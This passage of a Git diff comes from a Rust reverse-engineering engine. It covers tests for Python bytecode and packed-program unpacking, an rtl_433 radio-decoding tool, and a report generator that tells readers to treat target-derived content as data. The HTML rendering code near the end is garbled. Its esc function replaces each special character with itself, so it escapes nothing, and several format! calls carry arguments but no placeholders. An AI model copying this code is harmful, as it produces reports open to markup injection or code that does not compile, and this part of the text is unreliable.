craft_anything_testkit::temp_file; + use serde_json::{Value, json}; + + fn sample() -> Vec { + let inner = code_311("helper", "Thing.helper", "app.py", 7, &["os"], &["inner text"], &[]); + code_311("", "", "app.py", 1, &["Thing"], &["module doc"], &[inner]) + } + + #[test] + fn a_pyc_shows_its_header_and_code_in_pages() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("app.pyc", &kit::pyc(3531, 0, [1, 0, 0, 0, 2, 0, 0, 0], &sample())); + let v = call(&e, "formats_bytecode_show", json!({"path": p})); + assert_eq!(v["result"]["header"]["version"], "3.12"); + assert_eq!(v["result"]["header"]["invalidation"], "timestamp"); + assert_eq!(v["result"]["header"]["source_mtime"], 1); + assert_eq!(v["result"]["total_code_objects"], 2); + assert_eq!(v["result"]["code_objects"][1]["qualname"], "Thing.helper"); + assert_eq!(v["result"]["code_objects"][1]["strings"][0], "inner text"); + assert_eq!(v["confidence"], "observed"); + assert_eq!(v["authority"], "original-files"); + + let second = call(&e, "formats_bytecode_show", json!({"path": p, "offset": 1, "limit": 1})); + assert_eq!(second["result"]["code_objects"].as_array().unwrap().len(), 1); + assert_eq!(second["result"]["code_objects"][0]["name"], "helper"); + } + + #[test] + fn the_older_layout_reads_too() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("old.pyc", &kit::pyc(3425, 0, [0; 8], &code_38("", "old.py", 1, &["os"], &["doc"], &[]))); + let v = call(&e, "formats_bytecode_show", json!({"path": p})); + assert_eq!(v["result"]["header"]["version"], "3.9"); + assert_eq!(v["result"]["code_objects"][0]["filename"], "old.py"); + assert_eq!(v["result"]["code_objects"][0]["qualname"], Value::Null); + } + + #[test] + fn other_versions_give_the_header_and_a_limitation() { + let e = Engine::new(crate::testing::session()); + let codes = |v: &Value| v["limitations"].as_array().unwrap().iter().map(|l| l["code"].as_str().unwrap().to_string()).collect::>(); + let p = temp_file("old.pyc", &kit::pyc(3394, 0, [0; 8], &sample())); + let v = call(&e, "formats_bytecode_show", json!({"path": p})); + assert_eq!(v["result"]["header"]["version"], "3.7"); + assert_eq!(v["result"]["code_available"], false); + assert!(codes(&v).contains(&"header_only".to_string())); + assert_eq!(v["confidence"], "observed"); + + let p = temp_file("unknown.pyc", &kit::pyc(4000, 0, [0; 8], &sample())); + let v = call(&e, "formats_bytecode_show", json!({"path": p})); + assert_eq!(v["result"]["header"]["version"], Value::Null); + assert_eq!(v["confidence"], "inferred"); + } + + #[test] + fn damaged_code_is_a_limitation_and_a_non_pyc_is_an_error() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("cut.pyc", &kit::pyc(3531, 0, [0; 8], &sample()[..20])); + let v = call(&e, "formats_bytecode_show", json!({"path": p})); + assert_eq!(v["result"]["code_available"], false); + assert!(v["limitations"].to_string().contains("couldn't be read")); + let p = temp_file("plain.txt", b"not compiled python"); + call_err(&e, "formats_bytecode_show", json!({"path": p})); + } + + #[test] + fn bare_marshalled_code_reads_with_a_version() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("main", &sample()); + let v = call(&e, "formats_bytecode_show", json!({"path": p, "python_version": "3.12"})); + assert_eq!(v["result"]["code_objects"][0]["name"], ""); + assert!(v["limitations"].to_string().contains("version_given")); + call_err(&e, "formats_bytecode_show", json!({"path": p, "python_version": "3.7"})); + let newest = call(&e, "formats_bytecode_show", json!({"path": p, "python_version": "3.14"})); + assert_eq!(newest["result"]["code_objects"][0]["name"], ""); + call_err(&e, "formats_bytecode_show", json!({"path": p, "python_version": "nonsense"})); + } + + #[test] + fn a_module_taken_out_of_a_program_reads_here() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("onefile", &kit::pyinstaller_sample()); + let dir = tempfile::tempdir().unwrap(); + let out = dir.path().join("out"); + call(&e, "core_packed_files_unpack", json!({"path": p, "output_directory": out, "contains": "pkg/util"})); + let v = call(&e, "formats_bytecode_show", json!({"path": out.join("PYZ-00.pyz.modules/pkg/util.pyc")})); + assert_eq!(v["result"]["header"]["magic"], 3531); + assert_eq!(v["result"]["code_objects"][0]["strings"][0], "util doc"); + assert_eq!(pyc::release_for_magic(3531).map(|r| r.version), Some("3.12")); + } + + fn list(e: &Engine, p: &std::path::Path) -> Value { + call(e, "core_packed_files_list", json!({"path": p, "limit": 100})) + } + + /// Lists through the engine, takes everything out and checks one member's bytes. + fn round_trip(name: &str, data: &[u8], format: &str, member: &str, body: &[u8], expected_files: usize) { + let e = Engine::new(crate::testing::session()); + let p = temp_file(name, data); + let v = list(&e, &p); + assert_eq!(v["result"]["format"], format); + assert_eq!(v["result"]["total"], expected_files, "{:?}", v["result"]["entries"]); + assert_eq!(v["confidence"], "observed"); + let dir = tempfile::tempdir().unwrap(); + let out = dir.path().join("out"); + let x = call(&e, "core_packed_files_unpack", json!({"path": p, "output_directory": out})); + assert_eq!(x["result"]["skipped"].as_array().unwrap().len(), 0, "{:?}", x["result"]["skipped"]); + assert_eq!(x["result"]["written"], expected_files); + assert_eq!(std::fs::read(out.join(member)).unwrap(), body); + assert!(out.join("manifest.json").is_file()); + } + + #[test] + fn bun_programs_work_through_the_engine() { + let section = kit::macho_section("__BUN", "__bun", &kit::bun_section_payload(&kit::bun_sample())); + round_trip("bunapp", §ion, "bun_program", "root/app.js", b"console.log('app')", 2); + round_trip("bunapp2", &kit::bun_appended(&kit::bun_sample()), "bun_program", "root/logo.png", b"\x89PNG", 2); + } + + #[test] + fn node_programs_work_through_the_engine() { + let note = kit::elf_note("NODE_SEA_BLOB", &kit::sea_sample()); + round_trip("seaapp", ¬e, "node_sea", "assets/dir/b.bin", b"asset b", 4); + round_trip("blob", &kit::sea_sample(), "node_sea", "main/hello.js", b"console.log('sea')", 4); + } + + #[test] + fn dotnet_programs_work_through_the_engine() { + round_trip("netapp", &kit::dotnet_sample(), "dotnet_bundle", "App.dll", &[0x5a; 200], 3); + } + + #[test] + fn pyinstaller_programs_work_through_the_engine() { + round_trip("pyapp", &kit::pyinstaller_sample(), "pyinstaller", "libz.so.1", b"native", 7); + } + + #[test] + fn listings_filter_and_page_and_clean_room_refuses_them() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("pyapp2", &kit::pyinstaller_sample()); + let v = call(&e, "core_packed_files_list", json!({"path": p, "contains": ".modules/", "limit": 1})); + assert_eq!(v["result"]["matching"], 2); + assert_eq!(v["result"]["entries"].as_array().unwrap().len(), 1); + assert_eq!(v["result"]["facts"]["python"], "3.12"); + e.session().settings.deep_mode = false; + call_err(&e, "core_packed_files_list", json!({"path": p})); + call_err(&e, "formats_bytecode_show", json!({"path": p})); + } + + #[test] + fn a_reader_can_be_chosen_and_a_wrong_one_explains_itself() { + let e = Engine::new(crate::testing::session()); + let p = temp_file("wrong", &kit::sea_sample()); + let err = call_err(&e, "core_packed_files_list", json!({"path": p, "format": "pyinstaller"})); + assert!(err.to_string().contains("PyInstaller"), "{err}"); + let p = temp_file("cutbun", &kit::bun_appended(&kit::bun_sample())[40..]); + call_err(&e, "core_packed_files_list", json!({"path": p})); + } +} diff --git a/desktop/crates/engine/src/tools/radio_tools.rs b/desktop/crates/engine/src/tools/radio_tools.rs new file mode 100644 index 0000000..52ebe56 --- /dev/null +++ b/desktop/crates/engine/src/tools/radio_tools.rs @@ -0,0 +1,264 @@ +//! Radio signal recordings, decoded by rtl_433 run as an external program (never linked): it reads +//! a saved recording (I/Q samples such as `.cu8`/`.cs16`/`.cf32`, or AM/FM `.s16`), recognises the +//! devices it knows (weather stations, remotes, tyre sensors, meters…) and prints one JSON object +//! per message, which become the evidence. + +use super::external_disasm_tools::{input_file, locate, run}; +use super::native_common::{params_json, spec}; +use super::static_input::builder; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, Limitation, Subject, ToolError}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Map, Value, json}; +use std::collections::BTreeMap; + +pub fn specs() -> Vec { + let eng = Requires::Engine("rtl433"); + vec![ + spec( + "radio_recording_decode", + "Decode a radio recording", + "Decode a saved radio recording (absolute path or the active target) with rtl_433: I/Q samples (.cu8, .cs8, .cs16, .cf32) or demodulated AM/FM (.am.s16, .fm.s16), format and sample rate read from the file name (for example g001_433.92M_250k.cu8; 250 kHz when absent) unless sample_rate is given. Returns each decoded message (device model, id, channel and readings) paged with offset/limit, plus counts by model. decoders limits decoding to those protocol numbers (see radio_decoders_list); otherwise rtl_433's default set runs. Optional engine.", + "Find out which devices a radio recording heard and what they sent.", + Toolset::Formats, + Effects::LAUNCHES_PROCESS, + eng, + schema_of::, + radio_recording_decode, + ), + spec( + "radio_decoders_list", + "List radio decoders", + "List the device protocols the installed rtl_433 can decode: number, name, and whether it runs by default (the others only run when asked for with decoders). Optional engine.", + "See which radio devices can be recognised.", + Toolset::Formats, + Effects::LAUNCHES_PROCESS, + eng, + schema_of::, + radio_decoders_list, + ), + ] +} + +fn d_limit() -> usize { + 200 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DecodeParams { + /// Absolute path of the recording; omit to use the active target. + #[serde(default)] + pub path: Option, + /// Protocol numbers to decode (from radio_decoders_list); empty runs the default set. + #[serde(default)] + pub decoders: Vec, + /// Sample rate in Hz, when the file name doesn't say. + #[serde(default)] + pub sample_rate: Option, + /// First message of the page. + #[serde(default)] + pub offset: usize, + /// Messages per page (1–5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListParams { + /// Only decoders whose name contains this text (any case). + #[serde(default)] + pub filter: Option, +} + +/// rtl_433's arguments for decoding `file`. +fn decode_args(file: &str, decoders: &[u16], sample_rate: Option) -> Vec { + let mut a: Vec = vec!["-F".into(), "json".into()]; + for d in decoders { + a.extend(["-R".to_string(), d.to_string()]); + } + if let Some(r) = sample_rate { + a.extend(["-s".to_string(), r.to_string()]); + } + a.extend(["-r".into(), file.to_string()]); + a +} + +/// The JSON messages in rtl_433's output (other lines are ignored), and how many lines weren't JSON. +fn messages(stdout: &str) -> (Vec>, usize) { + let mut out = Vec::new(); + let mut other = 0; + for line in stdout.lines().map(str::trim).filter(|l| !l.is_empty()) { + match serde_json::from_str::(line) { + Ok(Value::Object(m)) => out.push(m), + _ => other += 1, + } + } + (out, other) +} + +/// One protocol from `rtl_433 -R help`: ` [07]* Name` (the star: off by default). +fn decoder_line(line: &str) -> Option { + let rest = line.trim_start().strip_prefix('[')?; + let (num, rest) = rest.split_once(']')?; + let number: u16 = num.trim().parse().ok()?; + let (off, name) = match rest.strip_prefix('*') { + Some(n) => (true, n), + None => (false, rest), + }; + let name = name.trim(); + (!name.is_empty()).then(|| json!({"number": number, "name": name, "default": !off})) +} + +fn radio_recording_decode(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DecodeParams = parse_params(params)?; + if p.decoders.len() > 64 || p.decoders.contains(&0) { + return Err(ToolError::invalid("decoders takes up to 64 protocol numbers from radio_decoders_list (1 and up)")); + } + if p.sample_rate.is_some_and(|r| !(1_000..=100_000_000).contains(&r)) { + return Err(ToolError::invalid("sample_rate must be between 1 kHz and 100 MHz")); + } + let (file, subject) = input_file(ctx, p.path.as_deref())?; + let exe = locate(ctx, "rtl433")?; + // On Windows rtl_433 reads a path given with `/` as nothing at all (and still exits 0). + let file_arg = if cfg!(windows) { file.display().to_string().replace('/', "\\") } else { file.display().to_string() }; + let args = decode_args(&file_arg, &p.decoders, p.sample_rate); + ctx.report(None, "Decoding the recording with rtl_433"); + let out = run(ctx, &exe, &args, "rtl_433")?; + let (msgs, other) = messages(&out.stdout_text()); + if !out.success && msgs.is_empty() { + return Err(craft_anything_platform::process::nonzero_error("rtl_433", &out)); + } + let mut by_model: BTreeMap = BTreeMap::new(); + for m in &msgs { + let model = m.get("model").and_then(Value::as_str).unwrap_or("(no model)"); + *by_model.entry(model.to_string()).or_default() += 1; + } + let limit = p.limit.clamp(1, 5000); + let page: Vec<&Map> = msgs.iter().skip(p.offset).take(limit).collect(); + let mut lims = vec![ + Limitation::new("decoder_coverage", "Only devices rtl_433 has a decoder for are recognised; anything else in the recording is silently skipped."), + Limitation::new("raw_tool_output", "Field names and units are rtl_433's own and can change between its versions."), + ]; + if msgs.is_empty() { + lims.push(Limitation::new( + "nothing_decoded", + "No messages: the recording may hold no known device, need other decoders (radio_decoders_list), or have a sample rate or format the file name doesn't state.", + )); + } + if out.stdout_truncated { + lims.push(Limitation::new("output_capped", "rtl_433 printed more than 16 MiB; later messages were cut off.")); + } + if !out.success { + lims.push(Limitation::new("nonzero_exit", format!("rtl_433 exited with {:?}; see stderr.", out.code))); + } + let stderr = out.stderr_text(); + let e = builder(ctx, "radio_recording_decode", subject, params_json(&p)) + .result(json!({ + "tool": exe, + "arguments": args, + "exit_code": out.code, + "total_messages": msgs.len(), + "by_model": by_model, + "offset": p.offset, + "limit": limit, + "messages": page, + "other_lines": other, + "stderr": stderr.get(..stderr.floor_char_boundary(16 << 10)).unwrap_or(""), + })) + .summary(format!("rtl_433 decoded {} message(s) from {} kind(s) of device.", msgs.len(), by_model.len())) + .confidence(Confidence::Observed) + .authority(Authority::OutsideService) + .limitations(lims) + .coverage(Coverage::page(page.len() as u64, msgs.len() as u64, p.offset as u64)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn radio_decoders_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let exe = locate(ctx, "rtl433")?; + let args = vec!["-R".to_string(), "help".to_string()]; + let out = run(ctx, &exe, &args, "rtl_433")?; + // The list goes to stdout or stderr depending on the version; it may exit non-zero after it. + let text = format!("{}\n{}", out.stdout_text(), out.stderr_text()); + let needle = p.filter.as_deref().map(str::to_lowercase); + let all: Vec = text.lines().filter_map(decoder_line).collect(); + if all.is_empty() { + return Err( + craft_anything_platform::process::nonzero_error("rtl_433", &out).with_remediation("This rtl_433 didn't print a decoder list; check its version.") + ); + } + let shown: Vec<&Value> = + all.iter().filter(|d| needle.as_deref().is_none_or(|n| d["name"].as_str().is_some_and(|s| s.to_lowercase().contains(n)))).collect(); + let subject = Subject { kind: "engine".into(), sha256: None, name: Some("rtl_433".into()) }; + let e = builder(ctx, "radio_decoders_list", subject, params_json(&p)) + .result(json!({"tool": exe, "total": all.len(), "shown": shown.len(), "decoders": shown})) + .summary(format!("rtl_433 knows {} protocol(s); {} shown.", all.len(), shown.len())) + .confidence(Confidence::Observed) + .authority(Authority::OutsideService) + .coverage(Coverage::complete(shown.len() as u64)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{CallOptions, Caller, Engine}; + + #[test] + fn reads_rtl_433_output() { + let out = "rtl_433 version 25.02\n{\"time\":\"@0.1s\",\"model\":\"Acurite-Tower\",\"id\":1,\"temperature_C\":21.5}\nnot json\n{\"model\":\"Acurite-Tower\",\"id\":2}\n[1, 2]\n"; + let (m, other) = messages(out); + assert_eq!(m.len(), 2); + assert_eq!(m[0]["temperature_C"], 21.5); + assert_eq!(other, 3); + + assert_eq!(decoder_line(" [01] Silvercrest Remote Control"), Some(json!({"number": 1, "name": "Silvercrest Remote Control", "default": true}))); + assert_eq!(decoder_line(" [07]* Waveman Switch Transmitter"), Some(json!({"number": 7, "name": "Waveman Switch Transmitter", "default": false}))); + for no in ["", "Usage:", "[x] name", "[3]", " -R | help"] { + assert_eq!(decoder_line(no), None, "{no}"); + } + + assert_eq!( + decode_args("/r/g001_433.92M_250k.cu8", &[40, 41], Some(1_000_000)), + ["-F", "json", "-R", "40", "-R", "41", "-s", "1000000", "-r", "/r/g001_433.92M_250k.cu8"] + ); + } + + #[test] + fn bad_requests_are_refused_before_running() { + let mut s = crate::testing::session(); + // A stand-in path, so the checks below run without rtl_433 installed. + let stand_in = craft_anything_testkit::temp_file("rtl_433.exe", b""); + s.settings.engines.tools.rtl433 = Some(stand_in.clone()); + let e = Engine::new(s); + for bad in [json!({"path": stand_in, "decoders": [0]}), json!({"path": stand_in, "sample_rate": 5}), json!({"path": "relative.cu8"})] { + assert!(e.call("radio_recording_decode", bad.clone(), CallOptions::new(Caller::Mcp)).is_err(), "{bad}"); + } + } + + /// A real decode, only where `CRAFT_ANYTHING_TEST_RTL433` names rtl_433 and + /// `CRAFT_ANYTHING_TEST_RTL433_REC` a recording of an Acurite rain gauge (from rtl_433's tests). + #[test] + fn live_decode_with_rtl_433() { + let (Some(exe), Some(rec)) = (std::env::var_os("CRAFT_ANYTHING_TEST_RTL433"), std::env::var("CRAFT_ANYTHING_TEST_RTL433_REC").ok()) else { return }; + let mut s = crate::testing::session(); + s.settings.engines.tools.rtl433 = Some(exe.into()); + let e = Engine::new(s); + let Ok(ToolOutput::Evidence(ev)) = e.call("radio_recording_decode", json!({"path": rec}), CallOptions::new(Caller::Mcp)) else { + panic!("decode failed") + }; + let r = serde_json::to_value(&*ev).unwrap()["result"].clone(); + assert!(r["total_messages"].as_u64().unwrap() > 0, "{r}"); + assert!(r["by_model"]["Acurite-Rain899"].as_u64().is_some(), "{r}"); + let Ok(ToolOutput::Evidence(ev)) = e.call("radio_decoders_list", json!({"filter": "acurite"}), CallOptions::new(Caller::Mcp)) else { + panic!("list failed") + }; + let r = serde_json::to_value(&*ev).unwrap()["result"].clone(); + assert!(r["total"].as_u64().unwrap() > 100 && r["shown"].as_u64().unwrap() > 0, "{r}"); + } +} diff --git a/desktop/crates/engine/src/tools/report_tools.rs b/desktop/crates/engine/src/tools/report_tools.rs new file mode 100644 index 0000000..f7a19a5 --- /dev/null +++ b/desktop/crates/engine/src/tools/report_tools.rs @@ -0,0 +1,685 @@ +//! Readable investigation reports. +//! +//! `report` turns the investigation memory (brief, plan, findings, hypotheses, handoff) and the +//! evidence ledger into a narrative a person can read: what we looked at, what we found (each +//! finding with its plain-English summary, confidence label and cited evidence), the open +//! questions, and how it was done (Clean room vs Deep, engines, limitations). Markdown is always +//! produced; HTML is a clean, self-contained styled page. With a `path` the report is written +//! atomically; otherwise the text is returned. + +use super::investigation_tools::{self, Finding, HypothesisStatus, Investigation}; +use crate::project::write_atomic; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Confidence, Evidence, ToolError, Unknown}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; +use std::path::PathBuf; + +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "core_report_save", + title: "Save a report", + summary: "Save a report a client composed (Markdown, HTML or plain text) to an absolute path the person chose. Only .md, .html, .htm or .txt files.", + beginner: "Saves a report to a file you choose.", + toolset: Toolset::Core, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_report_save, + }, + ToolSpec { + id: "core_report_write", + title: "Write a readable report", + summary: "Turn the investigation (brief, plan, findings, hypotheses, handoff) and the evidence ledger into a readable report: what we looked at, what we found (each finding with its plain-English summary, confidence and cited evidence), open questions, and how it was done. format=markdown (default) or html. With an absolute path it writes the file (WRITES_FILESYSTEM); otherwise it returns the text.", + beginner: "Make a clear write-up of what we found, with the proof and the open questions.", + toolset: Toolset::Core, + // Static worst-case: the tool only writes when a `path` is given, otherwise it just returns text. + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: core_report_write, + }, + ] +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SaveParams { + /// Where to save it: an absolute path ending in .md, .html, .htm or .txt. + pub path: String, + /// The report's text. + pub text: String, +} + +fn core_report_save(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SaveParams = parse_params(params)?; + let path = PathBuf::from(&p.path); + let ext = path.extension().and_then(|e| e.to_str()).map(str::to_ascii_lowercase).unwrap_or_default(); + if !path.is_absolute() || !["md", "html", "htm", "txt"].contains(&ext.as_str()) { + return Err(ToolError::invalid("path must be absolute and end in .md, .html, .htm or .txt")); + } + if p.text.len() > 64 * 1024 * 1024 { + return Err(ToolError::invalid("That report is too big to save (64 MB at most).")); + } + crate::project::write_atomic(&path, p.text.as_bytes())?; + Ok(ToolOutput::Value(serde_json::json!({"saved": path.display().to_string(), "bytes": p.text.len()}))) +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum ReportFormat { + #[default] + Markdown, + Html, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ReportParams { + /// markdown (default) or html. HTML is a self-contained styled page. + #[serde(default)] + pub format: ReportFormat, + /// Absolute path to write the report to. When omitted the text is returned instead. + #[serde(default)] + pub path: Option, + /// Include the full evidence ledger as an appendix (default true). Findings always cite ids. + #[serde(default = "default_true")] + pub include_evidence: bool, +} + +fn default_true() -> bool { + true +} + +fn core_report_write(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ReportParams = parse_params(params)?; + let inv = investigation_tools::load(ctx.session); + // Oldest-first reads best in a narrative. + let mut records: Vec = ctx.session.ledger().cloned().collect(); + records.reverse(); + // Cited records a large project left on disk still resolve from the project store. + let known: std::collections::BTreeSet = records.iter().map(|e| e.id.clone()).collect(); + let missing: std::collections::BTreeSet<&String> = inv.findings.iter().flat_map(|f| &f.evidence_ids).filter(|id| !known.contains(*id)).collect(); + records.extend(missing.into_iter().filter_map(|id| ctx.session.resolve_evidence(id).ok())); + let unknowns: Vec = ctx.session.unknowns().cloned().collect(); + let mut targets: Vec = ctx.session.targets().map(|t| format!("{} ({})", t.target.name, t.target.kind.plain())).collect(); + if targets.is_empty() { + // Nothing is open (a new process on a saved project): name what the evidence was taken from. + let mut seen: Vec = records + .iter() + .filter(|e| e.subject.sha256.is_some()) + .filter_map(|e| e.subject.name.as_ref().map(|n| format!("{n} ({})", e.subject.kind))) + .collect(); + seen.sort(); + seen.dedup(); + targets = seen; + } + let clean_room = ctx.session.clean_room(); + + let data = ReportData { inv: &inv, records: &records, unknowns: &unknowns, targets: &targets, clean_room, include_evidence: p.include_evidence }; + let text = match p.format { + ReportFormat::Markdown => render_markdown(&data), + ReportFormat::Html => render_html(&data), + }; + let format_id = match p.format { + ReportFormat::Markdown => "markdown", + ReportFormat::Html => "html", + }; + + if let Some(path) = p.path { + let path = PathBuf::from(&path); + if !path.is_absolute() { + return Err( + ToolError::invalid(format!("{} is not an absolute path", path.display())).with_remediation("Pass a full path, e.g. /Users/me/report.md.") + ); + } + write_atomic(&path, text.as_bytes())?; + Ok(ToolOutput::Value(json!({ + "path": path, + "format": format_id, + "bytes": text.len(), + "findings": data.records_findings_count(), + "evidence_records": records.len(), + "open_questions": unknowns.iter().filter(|u| !is_resolved(u)).count(), + }))) + } else { + Ok(ToolOutput::Value(json!({ + "format": format_id, + "report": text, + "bytes": text.len(), + "findings": data.records_findings_count(), + "evidence_records": records.len(), + }))) + } +} + +struct ReportData<'a> { + inv: &'a Investigation, + records: &'a [Evidence], + unknowns: &'a [Unknown], + targets: &'a [String], + clean_room: bool, + include_evidence: bool, +} + +impl ReportData<'_> { + fn records_findings_count(&self) -> usize { + self.inv.findings.len() + } + + fn by_id(&self) -> BTreeMap<&str, &Evidence> { + self.records.iter().map(|e| (e.id.as_str(), e)).collect() + } + + /// Distinct engines that produced the evidence (builtin, ghidra, cdp, adb…). + fn engines(&self) -> Vec { + let mut v: Vec = self.records.iter().map(|e| e.environment.engine.clone()).collect(); + v.sort(); + v.dedup(); + v + } + + /// A forced Deep processor/language, if any evidence recorded one. + fn pinned_language(&self) -> Option { + self.records.iter().find_map(|e| e.environment.language_id.clone()) + } + + /// Distinct limitation messages across the ledger, so the report is honest about gaps. + fn limitations(&self) -> Vec { + let mut v: Vec = self.records.iter().flat_map(|e| e.limitations.iter().map(|l| l.message.clone())).collect(); + v.sort(); + v.dedup(); + v + } + + fn embeds_target_content(&self) -> bool { + self.records.iter().any(|e| e.carries_target_content) + } +} + +fn is_resolved(u: &Unknown) -> bool { + matches!(u.status, craft_anything_evidence::UnknownStatus::Resolved) +} + +fn confidence_label(c: Confidence) -> &'static str { + c.plain_label() +} + +fn locations_line(e: &Evidence) -> String { + let mut parts: Vec = e + .locations + .iter() + .take(8) + .map(|l| match &l.label { + Some(lab) => format!("{}={} ({lab})", l.kind, l.value), + None => format!("{}={}", l.kind, l.value), + }) + .collect(); + if e.locations.len() > 8 { + parts.push(format!("… +{} more", e.locations.len() - 8)); + } + parts.join(", ") +} + +// -------------------------------------------------------------------------------------------- +// Markdown + +fn render_markdown(d: &ReportData<'_>) -> String { + let by_id = d.by_id(); + let mut s = String::new(); + s.push_str("# Investigation report\n\n"); + if let Some(b) = &d.inv.brief { + s.push_str(&format!("**Question:** {}\n\n", b.question)); + if let Some(p) = &b.purpose { + s.push_str(&format!("**Purpose:** {p}\n\n")); + } + if let Some(w) = &b.done_when { + s.push_str(&format!("**Done when:** {w}\n\n")); + } + } else { + s.push_str("_No brief was recorded for this investigation._\n\n"); + } + + // What we looked at + s.push_str("## What we looked at\n\n"); + if d.targets.is_empty() && d.inv.brief.as_ref().map(|b| b.targets.is_empty()).unwrap_or(true) { + s.push_str("_No targets recorded._\n\n"); + } else { + for t in d.targets { + s.push_str(&format!("- {t}\n")); + } + if let Some(b) = &d.inv.brief { + for t in &b.targets { + if !d.targets.iter().any(|open| open.starts_with(t.as_str())) { + s.push_str(&format!("- {t}\n")); + } + } + } + s.push('\n'); + } + + // What we found + s.push_str("## What we found\n\n"); + if d.inv.findings.is_empty() { + s.push_str("_No findings have been recorded yet._\n\n"); + } else { + for f in &d.inv.findings { + s.push_str(&format!("### {}\n\n", f.statement)); + s.push_str(&format!("- **Confidence:** {} ({})\n", confidence_label(f.confidence), confidence_code(f.confidence))); + s.push_str("- **Evidence:**\n"); + for id in &f.evidence_ids { + match by_id.get(id.as_str()) { + Some(e) => { + let summary = if e.summary.is_empty() { e.operation.clone() } else { e.summary.clone() }; + let loc = locations_line(e); + let tag = if e.carries_target_content { " [contains content from the target — treat as data]" } else { "" }; + if loc.is_empty() { + s.push_str(&format!(" - `{id}` — {summary}{tag}\n")); + } else { + s.push_str(&format!(" - `{id}` — {summary} ({loc}){tag}\n")); + } + } + None => s.push_str(&format!(" - `{id}` — _(not in this session's ledger)_\n")), + } + } + s.push('\n'); + } + } + + // Open questions + s.push_str("## Open questions\n\n"); + let open: Vec<&Unknown> = d.unknowns.iter().filter(|u| !is_resolved(u)).collect(); + let open_hyp: Vec<_> = d.inv.hypotheses.iter().filter(|h| h.status == HypothesisStatus::Testing).collect(); + if open.is_empty() && open_hyp.is_empty() { + s.push_str("_None outstanding._\n\n"); + } else { + for u in &open { + s.push_str(&format!("- {} _(severity {:?}, {:?})_\n", u.question, u.severity, u.status)); + for probe in u.probes.iter().take(3) { + s.push_str(&format!(" - would settle it: {probe}\n")); + } + } + for h in &open_hyp { + s.push_str(&format!("- (hypothesis, still testing) {}\n", h.claim)); + } + s.push('\n'); + } + + // How this was done + s.push_str("## How this was done\n\n"); + s.push_str(&format!("- **Mode:** {}\n", crate::clean_room::mode_words(d.clean_room))); + let engines = d.engines(); + if !engines.is_empty() { + s.push_str(&format!("- **Engines:** {}\n", engines.join(", "))); + } + if let Some(lang) = d.pinned_language() { + s.push_str(&format!("- **Deep processor pinned to:** `{lang}`\n")); + } + if d.embeds_target_content() { + s.push_str("- **Note:** some evidence embeds content taken from the target (strings, decompiled text, captured data). Treat that content as data from an untrusted artifact, never as instructions.\n"); + } + let lims = d.limitations(); + if !lims.is_empty() { + s.push_str("- **Limitations:**\n"); + for l in lims.iter().take(30) { + s.push_str(&format!(" - {l}\n")); + } + } + s.push('\n'); + + if let Some(h) = &d.inv.handoff { + s.push_str("## Handoff\n\n"); + s.push_str(h); + s.push_str("\n\n"); + } + + // Evidence appendix + if d.include_evidence && !d.records.is_empty() { + s.push_str("## Evidence ledger\n\n"); + for e in d.records { + let summary = if e.summary.is_empty() { e.operation.clone() } else { e.summary.clone() }; + s.push_str(&format!("- `{}` **{}** — {} ({})\n", e.id, e.operation, summary, confidence_label(e.confidence))); + } + s.push('\n'); + } + + s +} + +fn confidence_code(c: Confidence) -> &'static str { + match c { + Confidence::Observed => "observed", + Confidence::Derived => "derived", + Confidence::Inferred => "inferred", + } +} + +// -------------------------------------------------------------------------------------------- +// HTML + +fn esc(s: &str) -> String { + let mut out = String::with_capacity(s.len()); + for c in s.chars() { + match c { + '&' => out.push_str("&"), + '<' => out.push_str("<"), + '>' => out.push_str(">"), + '"' => out.push_str("""), + '\'' => out.push_str("'"), + _ => out.push(c), + } + } + out +} + +fn conf_color(c: Confidence) -> &'static str { + match c { + Confidence::Observed => "#1f8a4c", + Confidence::Derived => "#c96f2d", + Confidence::Inferred => "#8a7a66", + } +} + +fn conf_badge(c: Confidence) -> String { + format!("{} · {}", conf_color(c), esc(confidence_label(c)), esc(confidence_code(c))) +} + +fn render_html(d: &ReportData<'_>) -> String { + let by_id = d.by_id(); + let mut s = String::new(); + s.push_str("\n\n\n\n"); + s.push_str("\n"); + s.push_str("Investigation report\n\n\n\n
\n"); + s.push_str("

Investigation report

\n"); + + if let Some(b) = &d.inv.brief { + s.push_str("
\n"); + s.push_str(&format!("

Question: {}

\n", esc(&b.question))); + if let Some(p) = &b.purpose { + s.push_str(&format!("

Purpose: {}

\n", esc(p))); + } + if let Some(w) = &b.done_when { + s.push_str(&format!("

Done when: {}

\n", esc(w))); + } + s.push_str("
\n"); + } else { + s.push_str("

No brief was recorded for this investigation.

